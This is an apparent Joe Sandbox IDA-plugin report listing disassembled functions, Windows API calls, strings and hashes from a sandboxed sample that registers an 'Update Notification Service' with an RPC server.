Associated: 00000004.00000002.2181330612.00007FFE1A53F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffe1a520000_77WmQZ.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: ba28877f08bf85aa9c21e7c9a24742ae6402465733c9a5e3506a903d1d24cb53
Instruction ID: 94e7029c07210f593da57ad16ada1141d8c18cde67f0cd268e0c4e9ea47cda09
Opcode Fuzzy Hash: ba28877f08bf85aa9c21e7c9a24742ae6402465733c9a5e3506a903d1d24cb53
Instruction Fuzzy Hash: 53115922B1CF4182E7508B57A84433962A0AF99FF4F0042B6EA5E87BA4DF3CD558C744

Function 0000000140001270 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 41registrysynchronizationCOMMON

Download Yara Rule

APIs

RegisterServiceCtrlHandlerW.ADVAPI32 ref: 0000000140001282
CreateEventW.KERNEL32 ref: 00000001400012C0

Part of subcall function 0000000140003F80: InitializeCriticalSection.KERNEL32 ref: 0000000140003FA2
Part of subcall function 0000000140003F80: GetCurrentProcess.KERNEL32 ref: 0000000140003FF6
Part of subcall function 0000000140003F80: OpenProcessToken.ADVAPI32 ref: 0000000140004007
Part of subcall function 0000000140003F80: GetLastError.KERNEL32 ref: 0000000140004011
Part of subcall function 0000000140003F80: EnterCriticalSection.KERNEL32 ref: 00000001400040B3
Part of subcall function 0000000140003F80: LeaveCriticalSection.KERNEL32 ref: 000000014000412B
Part of subcall function 0000000140003F80: GetVersionExW.KERNEL32 ref: 0000000140004155
Part of subcall function 0000000140003F80: RpcSsDontSerializeContext.RPCRT4 ref: 000000014000416C
Part of subcall function 0000000140003F80: RpcServerUseProtseqEpW.RPCRT4 ref: 0000000140004189
Part of subcall function 0000000140003F80: RpcServerRegisterIfEx.RPCRT4 ref: 00000001400041B9
Part of subcall function 0000000140003F80: RpcServerListen.RPCRT4 ref: 00000001400041D3

SetServiceStatus.ADVAPI32 ref: 0000000140001302
WaitForSingleObject.KERNEL32 ref: 0000000140001312

Part of subcall function 00000001400042B0: EnterCriticalSection.KERNEL32(?,?,?,?,000000014000131D), ref: 00000001400042BB
Part of subcall function 00000001400042B0: CancelWaitableTimer.KERNEL32(?,?,?,?,000000014000131D), ref: 00000001400042C8
Part of subcall function 00000001400042B0: SetEvent.KERNEL32(?,?,?,?,000000014000131D), ref: 00000001400042D5
Part of subcall function 00000001400042B0: WaitForSingleObject.KERNEL32(?,?,?,?,000000014000131D), ref: 00000001400042E7
Part of subcall function 00000001400042B0: TerminateThread.KERNEL32(?,?,?,?,000000014000131D), ref: 00000001400042FD
Part of subcall function 00000001400042B0: CloseHandle.KERNEL32(?,?,?,?,000000014000131D), ref: 000000014000430A
Part of subcall function 00000001400042B0: CloseHandle.KERNEL32(?,?,?,?,000000014000131D), ref: 0000000140004317
Part of subcall function 00000001400042B0: CloseHandle.KERNEL32(?,?,?,?,000000014000131D), ref: 0000000140004324
Part of subcall function 00000001400042B0: RpcServerUnregisterIf.RPCRT4 ref: 0000000140004336
Part of subcall function 00000001400042B0: RpcMgmtStopServerListening.RPCRT4 ref: 000000014000433E
Part of subcall function 00000001400042B0: EnterCriticalSection.KERNEL32(?,?,?,?,000000014000131D), ref: 000000014000435A
Part of subcall function 00000001400042B0: LeaveCriticalSection.KERNEL32(?,?,?,?,000000014000131D), ref: 000000014000437F
Part of subcall function 00000001400042B0: DeleteCriticalSection.KERNEL32(?,?,?,?,000000014000131D), ref: 000000014000438C
Part of subcall function 00000001400042B0: #4.VSELOG(?,?,?,?,000000014000131D), ref: 00000001400043C0
Part of subcall function 00000001400042B0: LeaveCriticalSection.KERNEL32(?,?,?,?,000000014000131D), ref: 00000001400043CC
Part of subcall function 00000001400042B0: DeleteCriticalSection.KERNEL32(?,?,?,?,000000014000131D), ref: 00000001400043D9
Part of subcall function 00000001400042B0: #4.VSELOG(?,?,?,?,000000014000131D), ref: 00000001400043E6

SetServiceStatus.ADVAPI32 ref: 000000014000134B

Strings

vseamps, xrefs: 000000014000127B

Memory Dump Source

Source File: 00000004.00000002.2181097282.0000000140001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.2181076848.0000000140000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181152028.0000000140014000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181176797.000000014001A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181195884.000000014001E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_77WmQZ.jbxd

Similarity

API ID: CriticalSection$Server$CloseEnterHandleLeaveService$DeleteEventObjectProcessRegisterSingleStatusWait$CancelContextCreateCtrlCurrentDontErrorHandlerInitializeLastListenListeningMgmtOpenProtseqSerializeStopTerminateThreadTimerTokenUnregisterVersionWaitable
String ID: vseamps
API String ID: 3197017603-3944098904
Opcode ID: 4fcaac044f33b8282c396f0e62c58db51f87a82aaa34d44751bf9634b5fd9f61
Instruction ID: 0252cca9582b7aeb0e5a7a434c8e7364f46e89616d8e728b6478e43ab65cb610
Opcode Fuzzy Hash: 4fcaac044f33b8282c396f0e62c58db51f87a82aaa34d44751bf9634b5fd9f61
Instruction Fuzzy Hash: B921A2B1625A009AEB02DF17FC85BD637A0B74C798F45621AB7498F275CB7EC148CB00

Function 00000001400011F0 Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 24windowCOMMON

Download Yara Rule

APIs

sprintf_s.LIBCMTD ref: 0000000140001233
MessageBoxW.USER32 ref: 0000000140001249

Strings

usage: /service - creates the Update Notification Service /remove - removes the Update Notification Service from the sy, xrefs: 000000014000121D
Help, xrefs: 0000000140001238
10:52:57, xrefs: 000000014000120F
Jul 5 2019, xrefs: 0000000140001216

Memory Dump Source

Source File: 00000004.00000002.2181097282.0000000140001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.2181076848.0000000140000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181152028.0000000140014000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181176797.000000014001A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181195884.000000014001E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_77WmQZ.jbxd

Similarity

API ID: Messagesprintf_s
String ID: 10:52:57$Help$Jul 5 2019$usage: /service - creates the Update Notification Service /remove - removes the Update Notification Service from the sy
API String ID: 2642950106-3610746849
Opcode ID: 3f0d62457ab29cf1d3a00b30af1be048753c3c69edf33eb8bb254d4fd9f99961
Instruction ID: 92f91a294e228129c374272f9a209b177778b3d46068e39525b46f8f62cf975d
Opcode Fuzzy Hash: 3f0d62457ab29cf1d3a00b30af1be048753c3c69edf33eb8bb254d4fd9f99961
Instruction Fuzzy Hash: 78F01DB1221A8595FB52EB61F8567D62364F78C788F811112BB4D0B6BADF3DC219C700

Function 0000000140002650 Relevance: 10.0, APIs: 8, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 0000000140002666
HeapFree.KERNEL32 ref: 0000000140002674
GetProcessHeap.KERNEL32 ref: 0000000140002683
HeapFree.KERNEL32 ref: 0000000140002691
GetProcessHeap.KERNEL32 ref: 00000001400026A0
HeapFree.KERNEL32 ref: 00000001400026AE
GetProcessHeap.KERNEL32 ref: 00000001400026BD
HeapFree.KERNEL32 ref: 00000001400026CB

Memory Dump Source

Source File: 00000004.00000002.2181097282.0000000140001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.2181076848.0000000140000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181152028.0000000140014000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181176797.000000014001A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181195884.000000014001E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_77WmQZ.jbxd

Similarity

API ID: Heap$FreeProcess
String ID:
API String ID: 3859560861-0
Opcode ID: 59e576179aebbdeaae5a9514a8abdff9d95dfae3be86bd59f8deebe969e5cf48
Instruction ID: 80974503ddc58818480ab649a73b779641f1d99de81085d1f592bfbfa5fc6ad1
Opcode Fuzzy Hash: 59e576179aebbdeaae5a9514a8abdff9d95dfae3be86bd59f8deebe969e5cf48
Instruction Fuzzy Hash: 9C01EDB8701B8041EB0BDFE7B60839992A2AB8DFD5F185024AF1D17779DE3AC4548700

Function 0000000140002970 Relevance: 10.0, APIs: 8, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(?,?,?,0000000140002922), ref: 0000000140002986
HeapFree.KERNEL32(?,?,?,0000000140002922), ref: 0000000140002994
GetProcessHeap.KERNEL32(?,?,?,0000000140002922), ref: 00000001400029A3
HeapFree.KERNEL32(?,?,?,0000000140002922), ref: 00000001400029B1
GetProcessHeap.KERNEL32(?,?,?,0000000140002922), ref: 00000001400029C0
HeapFree.KERNEL32(?,?,?,0000000140002922), ref: 00000001400029CE
GetProcessHeap.KERNEL32(?,?,?,0000000140002922), ref: 00000001400029DD
HeapFree.KERNEL32(?,?,?,0000000140002922), ref: 00000001400029EB

Memory Dump Source

Source File: 00000004.00000002.2181097282.0000000140001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.2181076848.0000000140000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181152028.0000000140014000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181176797.000000014001A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181195884.000000014001E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_77WmQZ.jbxd

Similarity

API ID: Heap$FreeProcess
String ID:
API String ID: 3859560861-0
Opcode ID: 00b9fd02b01b7cf63ee49650963a307f7fdb827e7083e7606ed54f4b62f321e5
Instruction ID: 9f3d0c666f817a9e432213240f72880bf7997caebe097eb0308f7621ef9b933c
Opcode Fuzzy Hash: 00b9fd02b01b7cf63ee49650963a307f7fdb827e7083e7606ed54f4b62f321e5
Instruction Fuzzy Hash: 20010CB9601B8081EB4BDFE7B608399A2A2FB8DFD4F089024AF0917739DE39C4548200

Function 000000014000F680 Relevance: 9.2, APIs: 6, Instructions: 204COMMON

Download Yara Rule

APIs

GetStringTypeW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,000000014000FAB1), ref: 000000014000F6E7
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,000000014000FAB1), ref: 000000014000F6FD
GetStringTypeW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,000000014000FAB1), ref: 000000014000F72B
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,000000014000FAB1), ref: 000000014000F799
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,000000014000FAB1), ref: 000000014000F84C
GetStringTypeA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,000000014000FAB1), ref: 000000014000F911

Memory Dump Source

Source File: 00000004.00000002.2181097282.0000000140001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.2181076848.0000000140000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181152028.0000000140014000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181176797.000000014001A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181195884.000000014001E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_77WmQZ.jbxd

Similarity

API ID: StringType$ByteCharMultiWide$ErrorLast
String ID:
API String ID: 319667368-0
Opcode ID: 2ce6724d946986cc12a56c103b001eb9d1b53e8cfd560fc16f2f6c38bb9960ce
Instruction ID: 469d978012ccf723a2c6c682b25d7e2ba576a75483cbf286a89393a26fd70a6f
Opcode Fuzzy Hash: 2ce6724d946986cc12a56c103b001eb9d1b53e8cfd560fc16f2f6c38bb9960ce
Instruction Fuzzy Hash: E3817EB2200B8096EB62DF27A4407E963A5F74CBE4F548215FB6D57BF4EB78C546A300

Function 000000014000ADE0 Relevance: 9.2, APIs: 6, Instructions: 167COMMON

Download Yara Rule

APIs

GetStringTypeW.KERNEL32(?,?,?,?,00000001,?,?,000000014000B15C), ref: 000000014000AE38
GetLastError.KERNEL32(?,?,?,?,00000001,?,?,000000014000B15C), ref: 000000014000AE4E

Part of subcall function 00000001400090F0: HeapAlloc.KERNEL32(?,?,00000001,0000000140008328,?,?,00000001,000000014000B350,?,?,?,000000014000B423,?,?,?,000000014000FC9E), ref: 0000000140009151

MultiByteToWideChar.KERNEL32(?,?,?,?,00000001,?,?,000000014000B15C), ref: 000000014000AEDE
MultiByteToWideChar.KERNEL32(?,?,?,?,00000001,?,?,000000014000B15C), ref: 000000014000AF85
GetStringTypeW.KERNEL32(?,?,?,?,00000001,?,?,000000014000B15C), ref: 000000014000AF9C
GetStringTypeA.KERNEL32(?,?,?,?,00000001,?,?,000000014000B15C), ref: 000000014000AFFB

Memory Dump Source

Source File: 00000004.00000002.2181097282.0000000140001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.2181076848.0000000140000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181152028.0000000140014000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181176797.000000014001A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181195884.000000014001E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_77WmQZ.jbxd

Similarity

API ID: StringType$ByteCharMultiWide$AllocErrorHeapLast
String ID:
API String ID: 1390108997-0
Opcode ID: 5ea1a9254b1b0246406da4d01ea544830426ccb00ebf91cd2bb510eeaa7b453f
Instruction ID: bb54969f148ae750ab4279c880304e23b66920be01f6227d0c0ffa95ca0b2e73
Opcode Fuzzy Hash: 5ea1a9254b1b0246406da4d01ea544830426ccb00ebf91cd2bb510eeaa7b453f
Instruction Fuzzy Hash: 1B616CB22007818AEB62DF66E8407E967E1F74DBE4F144625FF5887BE5DB39C9418340

Function 00007FFE1A524CD4 Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 319COMMON

Download Yara Rule

APIs

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00007FFE1A524E72
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FFE1A52519B

Strings

csm, xrefs: 00007FFE1A524E1B
csm, xrefs: 00007FFE1A524E99
csm, xrefs: 00007FFE1A524DB9

Memory Dump Source

Source File: 00000004.00000002.2181249235.00007FFE1A521000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFE1A520000, based on PE: true

Associated: 00000004.00000002.2181229221.00007FFE1A520000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2181274188.00007FFE1A532000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2181305705.00007FFE1A53D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2181330612.00007FFE1A53F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffe1a520000_77WmQZ.jbxd

Similarity

API ID: Is_bad_exception_allowedstd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 3523768491-393685449
Opcode ID: 7f01d96fb52924c6f5fc1d666da4b107b2a99de0eb80eb6c113e4145ccbd24ec
Instruction ID: 079c67b0f2e08010973ab8f48eaa1003d0663a2f8cea6ef5d5fe8b4317e4721e
Opcode Fuzzy Hash: 7f01d96fb52924c6f5fc1d666da4b107b2a99de0eb80eb6c113e4145ccbd24ec
Instruction Fuzzy Hash: 2DE17172A0CB81CAE7109BB6D4402BD7BB2FB46B68F1441B7DA8D57666DF38E485C700

Function 00007FFE1A5295BC Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00007FFE1A528BC9,?,?,?,?,00007FFE1A528C14), ref: 00007FFE1A5295CB
FlsSetValue.KERNEL32(?,?,?,00007FFE1A528BC9,?,?,?,?,00007FFE1A528C14), ref: 00007FFE1A529601
FlsSetValue.KERNEL32(?,?,?,00007FFE1A528BC9,?,?,?,?,00007FFE1A528C14), ref: 00007FFE1A52962E
FlsSetValue.KERNEL32(?,?,?,00007FFE1A528BC9,?,?,?,?,00007FFE1A528C14), ref: 00007FFE1A52963F
FlsSetValue.KERNEL32(?,?,?,00007FFE1A528BC9,?,?,?,?,00007FFE1A528C14), ref: 00007FFE1A529650
SetLastError.KERNEL32(?,?,?,00007FFE1A528BC9,?,?,?,?,00007FFE1A528C14), ref: 00007FFE1A52966B

Memory Dump Source

Source File: 00000004.00000002.2181249235.00007FFE1A521000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFE1A520000, based on PE: true

Associated: 00000004.00000002.2181229221.00007FFE1A520000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2181274188.00007FFE1A532000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2181305705.00007FFE1A53D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2181330612.00007FFE1A53F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffe1a520000_77WmQZ.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 33ee88f61e6773b2952d25dee95f1e22d8cbd108a9fa28cb936705bbce5dbc3e
Instruction ID: 45e22edf558f7288d3c6f8d8bd872cc2f3045da0add1de207b2616ab2857e100
Opcode Fuzzy Hash: 33ee88f61e6773b2952d25dee95f1e22d8cbd108a9fa28cb936705bbce5dbc3e
Instruction Fuzzy Hash: 10114A20B0CE42CAFA5863A3955113921A39F86FF0F4447F7E93E867F6DE2CB4418200

Function 0000000140013850 Relevance: 9.0, APIs: 6, Instructions: 18synchronizationCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 000000014001385B
LeaveCriticalSection.KERNEL32 ref: 0000000140013872
SetEvent.KERNEL32 ref: 000000014001387F
WaitForSingleObject.KERNEL32 ref: 0000000140013891
CloseHandle.KERNEL32 ref: 000000014001389E
CloseHandle.KERNEL32 ref: 00000001400138AB

Memory Dump Source

Source File: 00000004.00000002.2181097282.0000000140001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.2181076848.0000000140000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181152028.0000000140014000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181176797.000000014001A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181195884.000000014001E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_77WmQZ.jbxd

Similarity

API ID: CloseCriticalHandleSection$EnterEventLeaveObjectSingleWait
String ID:
API String ID: 3326452711-0
Opcode ID: 090e3fcaa9eba1e18c75aea56b56e2fd2f402425d5e54323bcdd5196f3225223
Instruction ID: 377d3f5d57f943d14cdd7bc93d1ee7868a659259fbd0ecc80ccbf17849fffa4f
Opcode Fuzzy Hash: 090e3fcaa9eba1e18c75aea56b56e2fd2f402425d5e54323bcdd5196f3225223
Instruction Fuzzy Hash: 71F00274611D05D5EB029F53EC953942362B79CBD5F590111EB0E8B270DF3A8599C705

Function 0000000140003790 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 70timeCOMMON

Download Yara Rule

APIs

SetWaitableTimer.KERNEL32 ref: 00000001400037D3
#4.VSELOG ref: 0000000140003823
EnterCriticalSection.KERNEL32 ref: 000000014000382F
LeaveCriticalSection.KERNEL32 ref: 00000001400038B7

Strings

amps_Exec: pHandle=%p, execId=%d, iParam=%d, xrefs: 000000014000380B

Memory Dump Source

Source File: 00000004.00000002.2181097282.0000000140001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.2181076848.0000000140000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181152028.0000000140014000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181176797.000000014001A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181195884.000000014001E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_77WmQZ.jbxd

Similarity

API ID: CriticalSection$EnterLeaveTimerWaitable
String ID: amps_Exec: pHandle=%p, execId=%d, iParam=%d
API String ID: 2984211723-1229430080
Opcode ID: 8fa1b459277aeb819b509878b21750225505e1aa195fd5cfddc3614e408b1588
Instruction ID: 21f659f61b14fb79d6609d2ab4e2a3109e2b4daa988e78f6170daec752ad98bd
Opcode Fuzzy Hash: 8fa1b459277aeb819b509878b21750225505e1aa195fd5cfddc3614e408b1588
Instruction Fuzzy Hash: 2C311375614B4082EB228F56F890B9A7360F78CBE4F480225FB6C4BBB4DF7AC5858740

Function 00007FFE1A527F28 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00007FFE1A527F4D
GetProcAddress.KERNEL32 ref: 00007FFE1A527F63
FreeLibrary.KERNEL32 ref: 00007FFE1A527F8A

Strings

mscoree.dll, xrefs: 00007FFE1A527F44
CorExitProcess, xrefs: 00007FFE1A527F5C

Memory Dump Source

Source File: 00000004.00000002.2181249235.00007FFE1A521000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFE1A520000, based on PE: true

Associated: 00000004.00000002.2181229221.00007FFE1A520000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2181274188.00007FFE1A532000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2181305705.00007FFE1A53D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2181330612.00007FFE1A53F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffe1a520000_77WmQZ.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 0eaf2309885660167acf271fd0a1c535a59c62651c8a9772c1b781fc3320bbcf
Instruction ID: 6e8816321cb52df19ad08d0513da84d0fd473d78a862bfb8ff8dadbd415df0eb
Opcode Fuzzy Hash: 0eaf2309885660167acf271fd0a1c535a59c62651c8a9772c1b781fc3320bbcf
Instruction Fuzzy Hash: F0F04F61B1DE06C1EA108B66A4443396321AF96BB1F5403F7DA6D466F4DF3CD089C340

Function 0000000140008510 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 16libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,00000028,0000000140009145,?,?,00000001,0000000140008328,?,?,00000001,000000014000B350,?,?,?,000000014000B423), ref: 000000014000851F
GetProcAddress.KERNEL32(?,?,00000028,0000000140009145,?,?,00000001,0000000140008328,?,?,00000001,000000014000B350,?,?,?,000000014000B423), ref: 0000000140008534
ExitProcess.KERNEL32 ref: 0000000140008545

Strings

CorExitProcess, xrefs: 000000014000852A
mscoree.dll, xrefs: 0000000140008518

Memory Dump Source

Source File: 00000004.00000002.2181097282.0000000140001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.2181076848.0000000140000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181152028.0000000140014000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181176797.000000014001A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181195884.000000014001E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_77WmQZ.jbxd

Similarity

API ID: AddressExitHandleModuleProcProcess
String ID: CorExitProcess$mscoree.dll
API String ID: 75539706-1276376045
Opcode ID: 4ddf6373e7a566e00e4fa2e7ca5c7f01cf3397e3372fa5b750933ca2dd1c2c09
Instruction ID: f47e7dafb9c87e29c0f228a4507f2bac89d7b1d3f8a3a9cfd33eb857191fa9e3
Opcode Fuzzy Hash: 4ddf6373e7a566e00e4fa2e7ca5c7f01cf3397e3372fa5b750933ca2dd1c2c09
Instruction Fuzzy Hash: 3AE04CB0711A0052FF5A9F62BC947E823517B5DB85F481429AA5E4B3B1EE7D85888340

Function 00007FFE1A5240D4 Relevance: 7.8, APIs: 5, Instructions: 290COMMON

Download Yara Rule

APIs

__AdjustPointer.LIBCMT ref: 00007FFE1A5241F7
__AdjustPointer.LIBCMT ref: 00007FFE1A524242

Memory Dump Source

Source File: 00000004.00000002.2181249235.00007FFE1A521000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFE1A520000, based on PE: true

Associated: 00000004.00000002.2181229221.00007FFE1A520000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2181274188.00007FFE1A532000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2181305705.00007FFE1A53D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2181330612.00007FFE1A53F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffe1a520000_77WmQZ.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 50c4e1713d184cdf0fe8662c588dfc2dc4bd464af84c2e8e24b447969137b9d6
Instruction ID: a8d1f601a07fa3ddddc74746fff1fb5068aa36f918cab99b45ab830b5339a662
Opcode Fuzzy Hash: 50c4e1713d184cdf0fe8662c588dfc2dc4bd464af84c2e8e24b447969137b9d6
Instruction Fuzzy Hash: BDB18421B0DE42C1EA65DB97944023D6BB2AF56FA4F1584F7DA4D077A7DE3CE4418340

Function 0000000140009F50 Relevance: 7.7, APIs: 5, Instructions: 208COMMON

Download Yara Rule

APIs

GetStartupInfoA.KERNEL32 ref: 0000000140009F76

Part of subcall function 0000000140008370: Sleep.KERNEL32(?,?,00000000,0000000140005545), ref: 00000001400083C0

GetFileType.KERNEL32 ref: 000000014000A11C

Memory Dump Source

Source File: 00000004.00000002.2181097282.0000000140001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.2181076848.0000000140000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181152028.0000000140014000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181176797.000000014001A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181195884.000000014001E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_77WmQZ.jbxd

Similarity

API ID: FileInfoSleepStartupType
String ID:
API String ID: 1527402494-0
Opcode ID: b08a78d08636f6435b28fe3dd3a9dc7fe07bd3625b9b0f375563a7ba95a95139
Instruction ID: 2708af0267d8365e54dad009941ca9060f987db411f69ca3ecc20d856229d7df
Opcode Fuzzy Hash: b08a78d08636f6435b28fe3dd3a9dc7fe07bd3625b9b0f375563a7ba95a95139
Instruction Fuzzy Hash: 68917DB260468085E726CB2AE8487D936E4A71A7F4F554726EB79473F1DA7EC841C301

Function 0000000140009E30 Relevance: 7.6, APIs: 5, Instructions: 74COMMON

Download Yara Rule

APIs

GetCommandLineW.KERNEL32(?,?,?,?,?,?,0000000140005C5B), ref: 0000000140009E3E
GetLastError.KERNEL32(?,?,?,?,?,?,0000000140005C5B), ref: 0000000140009E5E
GetCommandLineA.KERNEL32(?,?,?,?,?,?,0000000140005C5B), ref: 0000000140009E9B
MultiByteToWideChar.KERNEL32(?,?,?,?,?,?,0000000140005C5B), ref: 0000000140009EBB

Memory Dump Source

Source File: 00000004.00000002.2181097282.0000000140001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.2181076848.0000000140000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181152028.0000000140014000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181176797.000000014001A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181195884.000000014001E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_77WmQZ.jbxd

Similarity

API ID: CommandLine$ByteCharErrorLastMultiWide
String ID:
